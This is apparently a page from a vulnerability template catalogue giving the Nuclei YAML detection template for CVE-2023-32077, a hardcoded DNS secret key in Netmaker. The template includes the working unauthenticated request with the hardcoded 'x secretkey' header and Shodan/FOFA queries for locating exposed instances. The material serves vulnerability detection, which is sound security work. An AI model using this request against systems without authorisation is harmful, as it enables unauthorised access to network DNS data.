Netmaker - Hardcoded DNS Secret Key

ID: CVE-2023-32077

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2023,info-key,netmaker,exposure,gravitl

Description

Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.

YAML Source

id: CVE-2023-32077

info:
  name: Netmaker - Hardcoded DNS Secret Key
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32077
    cwe-id: CWE-798,CWE-321
    epss-score: 0.08146
    epss-percentile: 0.94315
    cpe: cpe:2.3:a:gravitl:netmaker:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gravitl
    product: netmaker
    shodan-query:
      - html:"netmaker"
      - http.html:"netmaker"
    fofa-query: body="netmaker"
  tags: cve,cve2023,info-key,netmaker,exposure,gravitl

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/dns"

    headers:
      Authorization: "x secretkey"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "{\"address\":", "\"network\":", "\"name\":")'
        condition: and
# digest: 4a0a00473045022100e81b5cfc6308226c52af2469278a766ac75a42b0b8788c7997ba26e62f82b26e02204878546b9b7611dba755ce638619629915c33ac6cdf044de7d330de5d4a0e89b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-32077.yaml"

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